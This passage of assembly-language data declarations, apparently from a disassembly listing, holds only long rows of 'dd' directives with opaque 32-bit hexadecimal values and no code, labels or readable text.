dd 5CEE6Fh, 0F81A46A0h, 0CDD5D97Eh, 0BE0091F8h, 6C9D3A3h
dd 0F48E17h, 0AC8C4908h, 0A6B7CA75h, 2C1D7904h, 54802836h
dd 7E25C70h, 8D25E8B6h, 0C020DF9Dh, 55F2BB6Ch, 84C58F01h
dd 584EE634h, 90D5D8D7h, 8AC301AFh, 5A155666h, 7FB7E4D6h
dd 3200057Ch, 506EDA19h, 3DB0E8D2h, 0C9031644h, 5191D5B9h
dd 8CB8C6EBh, 791F8034h, 0B700BA28h, 94D17BE3h, 0DAB901C8h
dd 0C79EED57h, 106FC04Eh, 0C3963Dh, 0D80F11D2h, 8A1225h
dd 8C02D5A2h, 5F51FC22h, 0C6313F01h, 721AA7Fh, 0E68067D1h
dd 3BFCFFCFh, 20EA600Eh, 0FD623100h, 2CC78173h, 0D18B6059h
dd 94B86C50h, 0B9C1AA00h, 51830174h, 590B0020h, 0A35A23DBh
dd 0E400CA48h, 0D06A4793h, 0F4461Fh, 82BEB595h, 0B7C3757h
dd 1814BB30h, 6283DCh, 0B22F72FCh, 171A293h, 30EF300h
dd 1499E4C9h, 568310C5h, 7E4C070Ch, 0F3693B7h, 1AB80010h
dd 0A8534679h, 83006D90h, 0D4C95B36h, 7844E6A7h, 0A15A3C84h
dd 90FFC28Eh, 7402F960h, 13052CF4h, 0EE7F8FAEh, 0FF799801h
dd 3770F1A4h, 50760183h, 6EEBF32Eh, 14C09C43h, 0D7138DC0h
dd 3C0F3Dh, 0A034034Ah, 0C3920E2Ah, 45270D00h, 0F08B4996h
dd 5C643DFDh, 4A2C5A01h, 0B820B779h, 0F66680D9h, 3751DF8Eh
dd 39B03D0h, 5DDD9C72h, 1B801AC3h, 4AEE9167h, 7E400401h
dd 0B63A8B21h, 0B8BBE0h, 0F73DD69Bh, 60A2FD1Ah, 0DC00787Bh
dd 86F3E259h, 9531AEh, 9664DFEEh, 0BC7D34D5h, 6CE1DA00h
dd 0E263B185h, 1CB303C5h, 1D289E59h, 80D5E6A1h, 63BBCC20h
dd 0E90A5DECh, 0F37D30h, 0E3B5A7D6h, 3101F090h, 8AB058C0h
dd 15C3585Dh, 307CF3D4h, 0B163B800h, 58CA1BC4h, 0D2822084h
dd 63A08700h, 44F10949h, 35D13E8Eh, 400B59BBh, 0F01B048h
dd 80FD031Bh, 5DB46591h, 0C0E8271Eh, 0F3FEBA11h, 0FA031915h
dd 0AC5FB178h, 60A30Dh, 8CA71C21h, 0ED9F95B0h, 8A79EE26h
dd 6AD6FD00h, 3C494F2h, 29F75F59h, 0B7E007A8h, 0BA28725Dh
dd 0EA0430E6h, 0DA18FEA0h, 10236362h, 0A3A08FF3h, 0A8C589B5h
dd 0E31388h, 0CD1E6086h, 0ECCA44CFh, 656D3D02h, 80E241DAh
dd 4BA4B6ABh, 18DE06E8h, 2129E9BEh, 0BA1EAA71h, 0EA408671h
dd 1044D73Bh, 0B50600E3h, 0AD3CCD13h, 0BE179916h, 9400527Ah
dd 47952E6Dh, 0DB3A00A5h, 7C2ABB17h, 70EFF38Ch, 0D4004039h
dd 0DC3294FEh, 3A26080Ah, 44B91FB3h, 371D0189h, 6623CB80h
dd 0F3B0892Dh, 0A9FCBA0Ch, 8C8850h, 65B05A41h, 0A324E1A4h
dd 6E0082B0h, 97842C3h, 2E1F1CFAh, 8C4906h, 0CB347EDFh
dd 7F06A502h, 4801ECBBh, 22171C90h, 0E38B4042h, 3C1ED2EEh
dd 0E475EA72h, 8EB02D6Ch, 9B0703C2h, 0E565BDA7h, 7D3C2802h
dd 0E0B483CAh, 1FD395Bh, 0C06EA21Ch, 0E01B7A3Bh, 0E90C504Bh
dd 48DB560Ch, 30717B41h, 0CF784FD2h, 19C0D33Ah, 0A5142A5h
dd 0FDDC0861h, 8D1F261Fh, 0F6D3FF80h, 0E3D2DA24h, 0E65EF8h
dd 0D6E86E56h, 0BC151471h, 0DF7E5A70h, 97078A70h, 70C84AC5h
dd 0F937AC50h, 0CE980044h, 3D8D2F88h, 0CBF90F5Fh, 70646999h
dd 500DDE1h, 3C8783B2h, 0F166C7h, 0E05B44BAh, 23FE28E4h
dd 0D19F6B0Fh, 82E000Bh, 7A4B4CCCh, 0AEA63A5Bh, 0B17D320Ch
dd 8273DC48h, 0BB0080F6h, 1468E742h, 0B56AA8h, 164E3B3Dh
dd 0E5564B75h, 0D531DA03h, 88E8F767h, 0E935FCh, 1EB8B7EBh
dd 0C62505D1h, 0C928940Fh, 806940C4h, 21A640h, 4AC843EEh
dd 0F37E9A9Dh, 70037D1Eh, 3F74AD40h, 12A3FBh, 234A05F6h
dd 733B8FCCh, 0C5256800h, 50B7EA98h, 0FFEF00A0h, 0BB276FB5h
dd 5400D3E8h, 8A5E5F8Ch, 0B62248h, 0C6D9B113h, 36B2DEDDh
dd 0BB874300h, 78F746F3h, 0F0771D6Ah, 3F374359h, 6580A9B3h
dd 4D606DEEh, 10815021h, 2D4A0011h, 20F0F6DCh, 2A00F1C5h
dd 0A4CC1359h, 33F826Dh, 0E345EDA7h, 38009ECFh, 63F8FB5Ah
dd 1B7C3291h, 188258C2h, 0BC0875E9h, 0FE012E20h, 30DFD00h
dd 0E8111385h, 0F17EB8D7h, 3B7398E4h, 53877187h, 631585C4h
dd 0DC83D767h, 0C3294100h, 9AA37248h, 1C2D00A7h, 0BF26354Ch
dd 5503FFC0h, 0A17BB33Dh, 3E808C3Bh, 3C018Dh, 84BBE963h
dd 0E5DDF6E7h, 0D58B2D1Dh, 6BFC69C7h, 2E72D850h, 7C310047h
dd 287A4663h, 6E005C91h, 0EE75DFD4h, 0C1D10596h, 213B8B31h
dd 689FE47Bh, 39E6DA00h, 8FD95344h, 0F7B5002Fh, 0CBD3D1F5h
dd 8EE87ABAh, 0BEA4D001h, 0C595E194h, 7CA25EE0h, 0DDD5007Fh
dd 0DE4C26E2h, 0C2005C37h, 0F4600AEFh, 3E82ECDFh, 0F10F4F7Bh
dd 68234E81h, 0B8C1D5C6h, 800321F0h, 0BCFC1F40h, 0C59215h
dd 892102E4h, 78A51E48h, 0E0E17C01h, 604C3143h, 0E4C5D5C4h
dd 0ADB84Eh, 6DF0E7B0h, 0B4AAF61Bh, 116593Ch, 0D079D5D2h
dd 7885711Eh, 0C0B31BA0h, 7C4BFCB7h, 0EFCC1C00h, 7302B003h
dd 6860FCE6h, 502C98DCh, 0F6786B2h, 0BF66048h, 0B7410CF1h
dd 0EE19D783h, 230A43FCh, 84679FCFh, 0B3DD8D05h, 0D95E8800h
dd 29BA2FFDh, 198E7F4h, 1C6A3B9Ch, 0D6BBC0C8h, 78244E00h
dd 0BD937F7h, 0D8F22Dh, 0C1AC3E20h, 8363BD2Ch, 89444500h
dd 0EF366995h, 273D014Fh, 646A6837h, 872451C9h, 52E400D0h
dd 21CF0389h, 5F795C69h, 87F1900Ch, 0CD2B90Bh, 7CA3343Fh
dd 4A5D111h, 0A8EB6AF8h, 1F3D5494h, 0C0063B93h, 35CE3836h
dd 2207FF03h, 535BC41Ah, 8824CAC3h, 0E5F2ADh, 6B296EE0h
dd 0DCC2EA13h, 66005DEAh, 0D005FF73h, 0FCF0BBAFh, 3DFB07B6h
dd 811B2963h, 30B3D88Bh, 0BC0F77AEh, 20CBDA52h, 2C7181C5h
dd 760A059Ah, 0C0DBE623h, 3EFAECC9h, 0C400AAFEh, 10A60256h
dd 3617F5h, 857E4DADh, 0B36F4762h, 28EAA300h, 4B066BD1h
dd 93B055h, 0EF8DBEF7h, 395DAEF9h, 7A6CB800h, 0EA42C770h
dd 0D8F53B75h, 55D32400h, 9E4B92BFh, 0BB265914h, 0F3AF00C4h
dd 4FE34617h, 9110007Eh
dd 114DC835h, 0E0007B83h, 0A2F55676h, 6B1F18h, 0AFD3DC44h
dd 4BCF1BCDh, 3DFE2F01h, 0D880E83Fh, 1D84FFD4h, 4081AC1Eh
dd 96DA0C2Dh, 0A000AA10h, 0E4C7AB42h, 7839A2h, 5DDDB01Bh
dd 89C3F9B8h, 11D43450h, 0A4525A38h, 9C002583h, 7B1EC7Fh
dd 13570E91h, 0FE80AAD2h, 98EA8725h, 2EA7F60Eh, 80304E55h
dd 88E9928Ah, 5774BEh, 0AA4C369Dh, 0B9F8ECB5h, 8802D824h
dd 4EF0A300h, 0BF2B53h, 9E3A158Bh, 38866C9h, 95244507h
dd 2650B767h, 1D3C92h, 0F5ABA0Dh, 0F5AE1E87h, 7F7DA700h
dd 0D3BB2DC3h, 0FA3305DCh, 1D89B7E9h, 9B4F40F8h, 7D362F26h
dd 14FD7E00h, 81A425CEh, 49F40367h, 6854F0C2h, 479DEC8h
dd 110B1A00h, 5DD5038Dh, 660A003Ah, 3D42454Ah, 2400884Fh
dd 0ADECC00Dh, 1B1949Ah, 0A0CEBD7h, 0E813553Bh, 0E20F3FA2h
dd 0C0FE66EDh, 0CAB35A53h, 3E64007Ah, 1A24120h, 0A5002BBAh
dd 33D9EAC1h, 0B291AC6h, 0C3ABD1BCh, 1F79D280h, 0D5035AEDh
dd 11F57A10h, 2A43904Bh, 0B434397Dh, 67943F00h, 8B92FFBAh
dd 9A103530h, 0CB583Eh, 0FBED7FA6h, 0BC259559h, 0E7542102h
dd 40DE4E29h, 778506AEh, 0B6D5002Ch, 0BB485BEDh, 0AA001668h
dd 4F70A5BEh, 243D0D47h, 648BFF5h, 58A6C004h, 3EAF0800h
dd 1324814Fh, 8BF900A4h, 324B9905h, 6C00BECFh, 5E162AD4h
dd 96D386h, 231B8A52h, 274A9148h, 0D492F104h, 0F601BB3Ah
dd 0E830936Fh, 2D014C42h, 0FEEAC854h, 8E219CE3h, 88FD95FDh
dd 0D889E443h, 3E3DB881h, 0E6AAE961h, 46B000F0h, 4B393C2Eh
dd 6001B933h, 861C61Bh, 8E60E7ECh, 0F4F2A25h, 0B5775Ch
dd 0ED72B713h, 0F9EC1CD8h, 65E1862Eh, 4C830D03h, 0F05CE88Dh
dd 5A960FE6h, 0A6093772h, 0C861808h, 553EFE3Ah, 88E98E24h
dd 0A61D0D00h, 7AC298Dh, 5C9D2BE2h, 74A0A006h, 0B8307813h
dd 6D23E0B5h, 547A9Ch, 6780DEA2h, 9B7CB177h, 56F02C54h
dd 0B720C300h, 1E623398h, 7F8B0068h, 7147626h, 4207822Eh
dd 0FD40969Bh, 19C41FD0h, 2F200F5h, 9323C236h, 8901EC25h
dd 0E2D1663Bh, 2489B6ABh, 0B4837F2Ah, 6080A838h, 3B00A2B9h
dd 0A52536C1h, 157DD1Ch, 1D9C708Fh, 8FF7D818h, 20A131D8h
dd 0B0620C4Fh, 23EF008Ch, 3DE04D01h, 0A307F069h, 57607770h
dd 0CEBD43F0h, 992A0EBFh, 401E85D8h, 0DC719AD6h, 0BA0040B5h
dd 0CA685093h, 0A924ABh, 0FBD0A8F4h, 0D2ADE53Eh, 8C00FA70h
dd 35903D5Dh, 3BB812h, 60C9CE81h, 4841CF58h, 0B5051A00h
dd 6ABCBDD9h, 0EF8E3E7Ah, 0CA7D068Fh, 0DE035BA9h, 0B4909091h
dd 0E1489BFBh, 0B39A0014h, 24DBF8A6h, 0A3DC005Bh, 0A1ADC675h
dd 0BD03A0B0h, 91C73325h, 0EFFCA07Ah, 0AC1C00FEh, 6874AB73h
dd 0F8000EFDh, 0C99159E1h, 1E484304h, 410BDAh, 7B45B323h
dd 9B049276h, 0F799CC7Dh, 1F52B480h, 0B9EC0058h, 4F811AD7h
dd 3700CDDCh, 0E95AA869h, 260ECFC1h, 0AD7E23h, 77CC7AE2h
dd 430E9ED3h, 2053385Ah, 0F8E3FAB7h, 60E90098h, 0DE8B2A6Fh
dd 7D01CE66h, 0F3CA0229h, 7020A49Bh, 8AC50051h, 24A1F7C6h
dd 0E8B20E9Ah, 47222907h, 4AF2688Fh, 35ECA0D6h, 48FB2145h
dd 272470E7h, 9F31365h, 3C009F18h, 0EE8BE611h, 0D0684Ch
dd 1FDBBEA0h, 4C1998Ch, 0B606A629h, 68C090DDh, 32125FE0h
dd 0DC40E493h, 71939ACh, 0E8E6007Eh, 880F5990h, 0C70A8441h
dd 3CF88970h, 4D3A80BEh, 40696A64h, 0E5EB002Eh, 0E0B34CAh
dd 57B038FBh, 957B0900h, 9682CD45h, 8F5094Dh, 0A000024Eh
dd 0D4CF3760h, 347AB00h, 965F09AFh, 73A37A81h, 0B9CB0029h
dd 9B9A337Eh, 0E5703865h, 1BA59600h, 0CFF9B2F5h, 48BAD6h
dd 6CCC55BDh, 1D9B91Dh, 0A1FB5200h, 427A6D34h, 31D400B5h
dd 4E05DA87h, 9D00EC63h, 0A315C750h, 0EE5203E0h, 0B4A900B6h
dd 0CBEF93BCh, 0A03D6F8Fh, 0A16C480Ah, 14608103h, 24017588h
dd 844D51h, 94B1DB1Dh, 0C5F8A864h, 5906D0EBh, 0E05E322Ah
dd 0C05D1B0Eh, 0FCFC6A0Bh, 88DF8CD0h, 82F61BBBh, 758D9000h
dd 2EF86B79h, 64594CB0h, 2624B300h, 639732E2h, 0BAC4B00h
dd 0A3E0F3F8h, 98BF1F42h, 66768312h, 1C08B2Eh, 600547Ch
dd 0E8A2CACBh, 4C4D9DA0h, 5205A85Bh, 9A1DE7h, 76782ED8h
dd 3C09E36Dh, 216C63E2h, 44743944h, 0C33B020Ah, 0E6F2C7h
dd 75D91123h, 5E005BF0h, 598E16E8h, 6B31A273h, 0CF00F094h
dd 4C9D085Fh, 0D500ACF8h, 0DEB121F1h, 0ED6C1Eh, 5E689027h
dd 364FA4CFh, 5F1D0403h, 7745C6h, 9D629B20h, 444C0826h
dd 0B600C773h, 3509CBD8h, 3BA2B2D1h, 60E365EAh, 1C836213h
dd 0C5D01D81h, 0BF7FED0Fh, 42550049h, 76BF3268h, 0DCE000C8h
dd 238449DEh, 0EF2C969Ah, 0D93A59AAh, 0C0F500C8h, 0EB8F0335h
dd 4C35910h, 0B8C88805h, 31B88CA2h, 6BBB40h, 87334CFBh
dd 4AA75AEBh, 0F7B6DA01h, 0CF39235Ch, 29C291F4h, 3E82DF2h
dd 0E53544D0h, 38AC00D5h, 372CFF4Bh, 0ACB51600h, 7EAD08A8h
dd 777300FEh, 56693E0Dh, 470E232Ch, 848F8AEEh, 40B07CA7h
dd 0DA452461h, 0CEF58BF8h, 0EF0CC020h, 491770Dh, 8137F380h
dd 0EA6AA17h, 1309952Dh, 7800B769h, 42012A2h, 28E04900h
dd 30733435h, 0C9B300D9h, 0A651DF2h, 1900468Dh, 7C56EC71h
dd 7C3E092h, 9A8BBFBAh, 9552B02Ah, 78160B5Ah, 0D84F175Bh
dd 7B007150h, 4FA9F43Ch, 5D000A61h, 8D9DFDE6h, 182D217Fh
dd 16C56FB2h, 0EC723ED2h, 28109603h, 0A820DDC8h, 0B0CBB49h
dd 0F8FFEFDCh, 47150A80h, 0F404FBAFh, 76558E5Bh, 0DAAB5891h
dd 0CAA0D857h, 0E836B2h, 322847B7h, 95890981h, 92A06700h
dd 0F85271CCh, 72BD01CDh, 0BF0D0A15h, 0A0F04C5Eh, 0DEA8BA5Ch
dd 1A5B85BEh, 0B4309DFEh, 8092BFh, 840B167Fh, 1FE95E2Bh
dd 67B87C0Fh, 60B42F20h, 0C072A129h, 8AB62E60h, 0E8DE40C0h
dd 4D76A45Dh, 0CE364A13h, 38D36C05h, 66FB1892h, 37AE0000h
dd 20DF1756h, 0CE75F775h, 8763015h, 0E65FC0F0h, 2A7846Ch
dd 50C58C5Eh, 0F000167h, 0C89135h, 0E6CB89D7h, 0AA225BF1h
dd 0AF05CC00h, 8A6033D1h, 7F491EBDh, 2969494Fh, 39A67E80h
dd 1A00F3B6h, 0B0E64E0h, 3BDFB375h, 2C80C2C1h, 0ACEDC77Fh
dd 0C6126A7Ah, 2A0F5536h, 0E9E1C056h, 0F818B870h, 726D2EFBh
dd 0EDB900F0h, 30151F83h, 75AFDC00h, 981ED429h, 2B4800FBh
dd 0BA49502Ah, 6B00C80Eh, 332409FCh, 0F61A93AEh, 0ABFB001Bh
dd 791D23AFh, 9C00AC7Dh, 291742CBh, 0C86203h, 51E076A7h
dd 306E5B97h, 51908C26h, 0BEC43818h, 18A6012Ch, 7D0443B8h
dd 0FA78346Eh, 99304E00h, 0A753F54Ah, 22750073h, 0C9F7F39Ah
dd 6900D709h, 0BE6D6C65h, 4D8098h, 30ADFA0Ah, 8D36BC4Ch
dd 5E2B300h, 0A5FFBF6Ah, 0A8E909A0h, 0A0C83081h, 844880F6h
dd 700778D8h, 3DB0268h, 3A2F0551h, 0A30DC38h, 465DDA10h
dd 8533A518h, 0C0CE8231h, 83E860A9h, 0A06096A1h, 9B270208h
dd 0FEFB00FAh, 11F7A20Bh, 78051209h, 3755D06Bh, 2823404Ah
dd 3E180A00h, 0CC9C42h, 4EE68C97h, 0F06DD39Fh, 6ED140C0h
dd 867B1F02h, 740B4E00h, 0BD96DDC6h, 13230E67h, 0C05D80D7h
dd 0DBAFE2D6h, 5B00CD99h, 26FBD497h, 1F6836h, 0FA419AACh
dd 91546BEAh, 0FD04A000h, 45CB4BE4h, 0DB7E38h, 0D1C14ECFh
dd 0E80321B1h, 96910C02h, 6014A5B5h, 0F43D90h, 0E335647Ah
dd 6749E5EAh, 563A0D0Bh
dd 95017D1Fh, 0D4207AC5h, 0F400464Ch, 501770ACh, 7B41AFD3h
dd 0BBF2B0h, 0FEF11DF7h, 6B21744Eh, 6E4F8C0Dh, 0F038BACEh
dd 64D31105h, 7B28A415h, 1608B76Eh, 0EB318880h, 68D40F66h
dd 0C5079BD0h, 0E0069016h, 0B6EE9597h, 93D47554h, 0C61D5E00h
dd 2A50362Bh, 5DBF01B4h, 4EA0AC44h, 7DBC68C0h, 407C6E29h
dd 266F509h, 0A430A00Ch, 0A3406C40h, 721866F1h, 0F6A0920Ch
dd 0B9797Fh, 0BA7AAFA1h, 21E4BF4h, 87EB4C00h, 0B6F7EF45h
dd 993C60BCh, 0C5EA6D2Eh, 81401400h, 505571DAh, 69661879h
dd 0D61B4804h, 0FC48DF81h, 1C8D4898h, 0D2BB2000h, 0CF7F3D69h
dd 7C122200h, 0EAFE2F25h, 0A00E0F4Ch, 5180F42Bh, 0C594595Ah
dd 79AF6330h, 416931h, 0C8202534h, 1117E09Bh, 596F8C00h
dd 129DD4C3h, 0B327025Ch, 0E4807125h, 0AC899090h, 19A80E86h
dd 0D09403C6h, 57A01CE0h, 5CEF1700h, 0FFC24055h, 0BDDC1861h
dd 6B09D1EAh, 0CB7EA900h, 90C460C5h, 180F66Fh, 6837C332h
dd 0F4ECD8D2h, 0AF00FEF4h, 6911383h, 5A42D9F0h, 0DDACA3h
dd 590422FCh, 0F1A5A3Bh, 5F30FAB2h, 0F355D280h, 0C300C864h
dd 0F74C8D48h, 368143h, 0D6A2D854h, 0D7E0D0A7h, 325E400h
dd 90B8BEA5h, 0FA5200B3h, 6D22AB40h, 2C3CB119h, 0C180750h
dd 7EE295F0h, 5C50C1E1h, 0EA6AD60h, 0F79D992Bh, 74687FA0h
dd 43602A9Ch, 0C136AA30h, 4B8000A8h, 81294E0Dh, 40F86CFBh
dd 0A33F7101h, 0AB642C38h, 5613AE0h, 6AD3B7Bh, 0FEB1C025h
dd 5618167Ah, 0F38157B6h, 0A945038Fh, 8286FBD6h, 0FDEE60B8h
dd 654DD200h, 0EF3957E5h, 0EC8800DEh, 0D3E7D0E3h, 63603B70h
dd 0EB5F1F91h, 0A1790B95h, 0C600B38Fh, 0E6638E11h, 752A5E18h
dd 0BFB18h, 42B0C1ECh, 2EAF3FB3h, 6EB641C0h, 2B1310h, 0E6A7F5F7h
dd 8496C598h, 0FAD74101h, 0A50C6D3Eh, 1276C8h, 0EA26F04Eh
dd 19092E1Eh, 0FF5AF300h, 16AC6D71h, 4C460101h, 53630A3Ch
dd 7DE5FCA1h, 0D9B24B00h, 57C797CAh, 0E1911C23h, 33540A6Ch
dd 0C29F00DCh, 0DC209396h, 0D6BE1F00h, 49C5483Fh, 2DC101B2h
dd 7257806Dh, 0E673E03Ch, 0E3FFEB1Ch, 154170C7h, 0A3D1D0F0h
dd 785000BFh, 0B522F31Fh, 1200A47Bh, 9C88142Bh, 59C27Eh
dd 0F1BAAA8Fh, 7C7FD4Dh, 8E978301h, 92B05FC3h, 0F06535F0h
dd 0B2539C4h, 7CD84860h, 0FF00E0A4h, 126A614Bh, 3A5E9507h
dd 488E6763h, 75A188B5h, 0ECA8DA8Ah, 8F073CE7h, 0BD111BA6h
dd 60AA4110h, 92AD389Dh, 2E7DAC3Ah, 6E5068h, 7618DE79h
dd 510C307Dh, 21170A98h, 0CFFF00F9h, 0D19B2CA8h, 571C9197h
dd 62AA75h, 58A73C45h, 9AD795C9h, 7448D00h, 0E37C863Bh
dd 661C01A2h, 6E6AAC9Fh, 0E84C601Dh, 3A34E100h, 61BC9BE5h
dd 901C7CBEh, 0B050C076h, 79C01908h, 6B00C77Ch, 0DCB73A94h
dd 7324AB9h, 0E57802EBh, 69A95365h, 8685301Fh, 186EA486h
dd 4D740C20h, 0B0A1E84Bh, 5542FC06h, 24119148h, 1E978652h
dd 0B9A38764h, 43BCF7B3h, 20001C3Bh, 744BA9E1h, 1C3E2232h
dd 81917CD0h, 0EA67CB61h, 0E96883F7h, 0B0AA50BCh, 1F8682E8h
dd 575BEEh, 39F3BFFEh, 0CB0073DCh, 0E67D481Ch, 225CABh
dd 5D112F46h, 0B6592EB1h, 6B1B8201h, 1542EF66h, 12914FD4h
dd 4970BDAh, 80ADDE07h, 1E3DACDAh, 0ED2E6000h, 0FBEEB50Dh
dd 0DF98B2h, 6D41E3A7h, 3A13D0D1h, 5EE620FDh, 0BAE96500h
dd 0B0907BD5h, 2C8032Bh, 0A978F441h, 1A69E1B8h, 968BB339h
dd 0B600BF6Bh, 6C4035D3h, 1A97855h, 44D1CBB1h, 0E41B987Bh
dd 1D003359h, 0E7D451BDh, 0BA50C2h, 889B2D55h, 0BEEAF1CEh
dd 63BF4726h, 0B2E7A202h, 0B655E007h, 0F9710088h, 0AE67A9CEh
dd 0DF072B0Dh, 6A33FDBBh, 96AF4820h, 42D00097h, 558ED46Ch
dd 0C4025C13h, 923847BDh, 9BE8606Ah, 3A9F3D69h, 0CEE79682h
dd 0E64018D6h, 0FEE8321Eh, 5D209260h, 72220BAh, 0CE2E972h
dd 6035501Bh, 6B008061h, 0FF0FC1BEh, 7255E89h, 77C2834Fh
dd 81DFC46Ch, 0F1FA03A1h, 7D57DC18h, 0EBD2FC01h, 1A9FA65Ah
dd 49CAE0h, 72550C20h, 0F23DC484h, 32339374h, 903B20AFh
dd 0A01423h, 244B4560h, 80AA11F1h, 51A2CA0Ch, 36A4967h
dd 7C224809h, 0B838A9EEh, 75C89EFFh, 0D141B7DEh, 0D2FEAEC7h
dd 20B8FAD5h, 68C9EF0Fh, 80F53CE7h, 0DB3642E4h, 8C60152Ah
dd 91934000h, 0A21356F2h, 92BC0011h, 0D622478Fh, 0BB743132h
dd 554EA40Ch, 1A3099h, 0F57B8A9Dh, 0B69A5AE3h, 0D2F81B03h
dd 0F6C6EB4h, 7A6B6420h, 0B0AF0036h, 0DD837C71h, 9880DE98h
dd 90389B6Ah, 2CCD263h, 0EDC59717h, 10E931C6h, 1E212FB3h
dd 8002F731h, 0DB72E616h, 5A2A7184h, 93008CEFh, 46A6B770h
dd 1DB4D7h, 9257B54Ah, 0E2AADD82h, 0DBBE6700h, 0C663769Fh
dd 891F00A4h, 0B34B0EC1h, 0B8002035h, 52A76F05h, 0D7172Dh
dd 28D1FE78h, 0D9EA84E8h, 0AA87D5Eh, 7E195203h, 0ACF9208Ch
dd 0C1A3E735h, 580C2100h, 3CDBE251h, 0B4200A5h, 764CCA30h
dd 45F28949h, 1F78EC3Bh, 0DD43EEE9h, 0E188F383h, 409CD753h
dd 0F6BC03C7h, 32818AE0h, 71B36095h, 0F1751800h, 332DEC9Ah
dd 0B3C70039h, 0C3558943h, 1806659Ch, 0EF4EA9B9h, 6AC72489h
dd 28870CA5h, 3D007811h, 31730E3Ch, 79A89BA5h, 5EC318B7h
dd 178E2097h, 761A3C00h, 0AB460F80h, 3EF4F612h, 1E9C9EEEh
dd 45B187BBh, 19C9B6E4h, 5E557718h, 0D146D8h, 0C698AFA6h
dd 0C095DA72h, 59299C00h, 0FAF85BD5h, 3F35F2E7h, 980C90Ah
dd 0D8FBB6EFh, 0E000D97Bh, 68950603h, 70917Fh, 971B6718h
dd 380E4146h, 0B7C33A00h, 669CB85Bh, 4B620065h, 0B90A3E55h
dd 977F912Eh, 0C948BF02h, 60201026h, 0DB7C5Fh, 94285C1Eh
dd 621D60C1h, 0D91A2900h, 69D21C4Fh, 0B56B0019h, 0C3AC77D4h
dd 5B00F63Ah, 724C5359h, 0D68E2Bh, 0DDD0A26Bh, 0FF7F9871h
dd 4ED5A700h, 53C9ACE9h, 0DBA50082h, 8F7C36D2h, 0D80181EEh
dd 4FDDF5F6h, 31704324h, 38F9FA8Dh, 8500E522h, 65A5737Eh
dd 630196CCh, 9529F1E2h, 41DD7C0Ch, 1F1951C0h, 1ED53CEh
dd 75B5F669h, 91352062h, 48D8EC28h, 291B6800h, 25EB4C01h
dd 45100072h, 586ED47Dh, 75030282h, 0C49FB557h, 675D809Eh
dd 0C5720328h, 0E6095C2h, 0CA666CF0h, 0B897061Fh, 0B678AE40h
dd 14DC10C1h, 84ADDDF2h, 70607D4Ch, 25211530h, 0F40031F8h
dd 0FC6F71A5h, 1D9ED8C5h, 819BE975h, 0E83D625Fh, 0AAF430BCh
dd 5A990503h, 9F43AD0Bh, 29D5BD40h, 0E59A03D0h, 0F64793B2h
dd 0D94BA7B8h, 0AE00FD7Eh, 13ABF54Dh, 0B2D068Bh, 370DE44h
dd 0E4643880h, 0D10B91A6h, 8101BAF3h, 0DDA08CCh, 4A961880h
dd 0F0922EE5h, 16DC0A0Ch, 0EB44889h, 9EAC3654h, 0CF4B8123h
dd 21A182BBh, 9320818Ah, 0CB4A2EADh, 34F4730h, 0C60E5E5Fh
dd 1AD0D11Ch, 0D37EF517h, 4851E200h, 494CDA78h, 0E14A003Bh
dd 1A0E7FB2h, 3C007A4Eh, 0EBB146E6h, 61D799D5h, 8A14811Ch
dd 0F7C4D87Dh, 0D00696EEh, 0D365EDA6h, 0B0B300E8h, 873168BFh
dd 0CB1DE21Ch, 6200160Bh, 0F2ACFABDh, 8D043DD9h, 77A7A400h
dd 0AA0643C9h, 0CBD3AB00h, 71793689h, 0E31301BAh, 142EC872h
dd 6493F4F5h, 3585A07h, 0B750F691h, 603FE1C7h, 221A202Fh
dd 0D6009B67h, 6D7A873Bh, 0BDDD4Fh, 33667B95h, 8AE84E96h
dd 7C55A40Ah, 1700B0FAh, 0A1F594Ah, 0F05758ADh, 0A93F6807h
dd 441480FCh
dd 4700F4B1h, 0B3217450h, 8F1AC2h, 7CF06E4Ch, 57790CCAh
dd 0A5E22A00h, 4FA9763Eh, 4C950BE9h, 0EB003937h, 9722F70Eh
dd 9CE41500h, 0D650D489h, 0FB85007Ah, 3652D741h, 0F23FCEB7h
dd 8D1180B6h, 8C776956h, 1187BE9h, 28C90FECh, 0FC16F9DDh
dd 0C500EE14h, 0AA8D633h, 18239F1h, 45671DA1h, 6B6A4353h
dd 608CE0h, 0C1C5D23h, 55FEB633h, 0AE0E2700h, 0EE56B5F4h
dd 0BE5400F7h, 0DB2291B7h, 8B00596Ch, 0E88E35D2h, 0FDFEB3h
dd 9EBC3F23h, 6A106306h, 0D018BA6Bh, 19DB003Eh, 18961DD5h
dd 91009F52h, 636067F7h, 84E4CAh, 0AEEC5EA3h, 0B62E9334h
dd 96B3F607h, 0CCD78B12h, 52E80FE0h, 0FBF300B7h, 0A164F751h
dd 8A001FE9h, 56D6B916h, 0E74E47h, 0B18299D3h, 2A9B0517h
dd 8DA7ED03h, 0E0645781h, 1D6B8835h, 0FDFBEBh, 0E9A476A0h
dd 2400309Eh, 58C55192h, 2AE2C3h, 1E47D93h, 828C5B73h
dd 69B8DB4Eh, 0FE00BE39h, 6C505D60h, 0B5024EAEh, 14253329h
dd 74AC8EB2h, 0F40600B0h, 0D6659E18h, 1E3232FDh, 4971D19h
dd 73AF4D83h, 9429E0E8h, 49950099h, 651EEFC4h, 0F83B6E70h
dd 4DAA002Fh, 0F0B0BA96h, 0B7B91922h, 8532894h, 0EA414460h
dd 33B30120h, 3751F8BCh, 321F44D4h, 29182E4Fh, 9A4066C2h
dd 0C43D98DBh, 5F04D528h, 0F3CF1DE1h, 539CDF51h, 0E6293818h
dd 5177061Ah, 0A1358E2Ah, 5EA00310h, 11092411h, 0DD4C1F3Ah
dd 26275162h, 1DE8AB21h, 881EFE01h, 88796C29h, 0B684048Bh
dd 52053DABh, 3B8C46B9h, 4F54297Eh, 673D8D8Ch, 7C07F4B1h
dd 0C3242FB4h, 8416B930h, 0AA54003Dh, 0CF5E52CDh, 1005AD3h
dd 0B7CE0349h, 56DB37h, 23B5B01Fh, 0FFADAF7Fh, 99D66C00h
dd 2B85EAAAh, 41D9039Bh, 3308C305h, 0EE6E38F8h, 75E77A00h
dd 3D532A5Bh, 118B00E1h, 0AB8DF3F7h, 721CF9CCh, 7B00BC02h
dd 0F160EDACh, 0CDE90188h, 0FD6C6627h, 439DC059h, 0C6DBB001h
dd 10162A35h, 9AD2D0h, 510F2CF9h, 8F7A656Eh, 55711E00h
dd 2864A661h, 0AB7C240Dh, 879B802Ch, 0FB78E843h, 0CE54B01h
dd 9A278172h, 7C663BD0h, 41F900E7h, 330659DBh, 4E5C6588h
dd 9093009Eh, 0C9A7C552h, 1DE789Eh, 0DAB101E5h, 0E0D13DB2h
dd 7E0EEEC6h, 40AB0C55h, 7422999Dh, 807502B8h, 6F77D9FAh
